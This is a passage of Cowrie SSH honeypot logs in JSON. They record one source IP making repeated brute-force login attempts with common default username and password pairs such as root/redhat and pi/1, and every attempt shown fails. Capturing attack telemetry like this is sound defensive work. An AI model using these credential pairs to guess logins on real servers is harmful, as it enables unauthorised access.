0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:18.684043Z","src_ip":"192.109.200.78","session":"470ee3032ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1","message":"login attempt [pi/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:18.929877Z","src_ip":"192.109.200.78","session":"470ee3032ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:20.013717Z","src_ip":"192.109.200.78","session":"470ee3032ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40282,"dst_ip":"10.17.0.5","dst_port":22,"session":"431fe7a46bff","protocol":"ssh","message":"New connection: 192.109.200.78:40282 (10.17.0.5:22) [session: 431fe7a46bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:22.059049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:22.137020Z","src_ip":"192.109.200.78","session":"431fe7a46bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:22.158503Z","src_ip":"192.109.200.78","session":"431fe7a46bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:22.461296Z","src_ip":"192.109.200.78","session":"431fe7a46bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:23.545140Z","src_ip":"192.109.200.78","session":"431fe7a46bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40292,"dst_ip":"10.17.0.5","dst_port":22,"session":"954f95f87f2e","protocol":"ssh","message":"New connection: 192.109.200.78:40292 (10.17.0.5:22) [session: 954f95f87f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:25.471158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:25.475686Z","src_ip":"192.109.200.78","session":"954f95f87f2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:25.556102Z","src_ip":"192.109.200.78","session":"954f95f87f2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"12345","message":"login attempt [odoo17/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:25.799546Z","src_ip":"192.109.200.78","session":"954f95f87f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:26.882118Z","src_ip":"192.109.200.78","session":"954f95f87f2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40304,"dst_ip":"10.17.0.5","dst_port":22,"session":"99237f5b7247","protocol":"ssh","message":"New connection: 192.109.200.78:40304 (10.17.0.5:22) [session: 99237f5b7247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:28.739470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:28.746378Z","src_ip":"192.109.200.78","session":"99237f5b7247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:28.827472Z","src_ip":"192.109.200.78","session":"99237f5b7247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:29.072211Z","src_ip":"192.109.200.78","session":"99237f5b7247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:30.155937Z","src_ip":"192.109.200.78","session":"99237f5b7247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40618,"dst_ip":"10.17.0.5","dst_port":22,"session":"65a3200301d0","protocol":"ssh","message":"New connection: 192.109.200.78:40618 (10.17.0.5:22) [session: 65a3200301d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:32.280183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:32.283844Z","src_ip":"192.109.200.78","session":"65a3200301d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:32.364173Z","src_ip":"192.109.200.78","session":"65a3200301d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redhat","password":"redhat","message":"login attempt [redhat/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:32.608664Z","src_ip":"192.109.200.78","session":"65a3200301d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:33.691040Z","src_ip":"192.109.200.78","session":"65a3200301d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40632,"dst_ip":"10.17.0.5","dst_port":22,"session":"0456ce78d804","protocol":"ssh","message":"New connection: 192.109.200.78:40632 (10.17.0.5:22) [session: 0456ce78d804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:35.657471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:35.663021Z","src_ip":"192.109.200.78","session":"0456ce78d804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:35.742718Z","src_ip":"192.109.200.78","session":"0456ce78d804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:35.988803Z","src_ip":"192.109.200.78","session":"0456ce78d804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:37.092570Z","src_ip":"192.109.200.78","session":"0456ce78d804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40638,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a6359d64376","protocol":"ssh","message":"New connection: 192.109.200.78:40638 (10.17.0.5:22) [session: 6a6359d64376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:38.962892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:38.966541Z","src_ip":"192.109.200.78","session":"6a6359d64376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:39.046867Z","src_ip":"192.109.200.78","session":"6a6359d64376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"test","message":"login attempt [runner/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:39.353375Z","src_ip":"192.109.200.78","session":"6a6359d64376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:40.437248Z","src_ip":"192.109.200.78","session":"6a6359d64376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49982,"dst_ip":"10.17.0.5","dst_port":22,"session":"866fb4eb5917","protocol":"ssh","message":"New connection: 192.109.200.78:49982 (10.17.0.5:22) [session: 866fb4eb5917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:42.463992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:42.467877Z","src_ip":"192.109.200.78","session":"866fb4eb5917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:42.549499Z","src_ip":"192.109.200.78","session":"866fb4eb5917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:42.803774Z","src_ip":"192.109.200.78","session":"866fb4eb5917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:43.888141Z","src_ip":"192.109.200.78","session":"866fb4eb5917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50010,"dst_ip":"10.17.0.5","dst_port":22,"session":"202bff01ba4d","protocol":"ssh","message":"New connection: 192.109.200.78:50010 (10.17.0.5:22) [session: 202bff01ba4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:45.748972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:45.752270Z","src_ip":"192.109.200.78","session":"202bff01ba4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:45.832805Z","src_ip":"192.109.200.78","session":"202bff01ba4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:46.081058Z","src_ip":"192.109.200.78","session":"202bff01ba4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:47.165109Z","src_ip":"192.109.200.78","session":"202bff01ba4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50024,"dst_ip":"10.17.0.5","dst_port":22,"session":"643dcac87c14","protocol":"ssh","message":"New connection: 192.109.200.78:50024 (10.17.0.5:22) [session: 643dcac87c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:49.121433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:49.262221Z","src_ip":"192.109.200.78","session":"643dcac87c14","protocol":"ssh"}
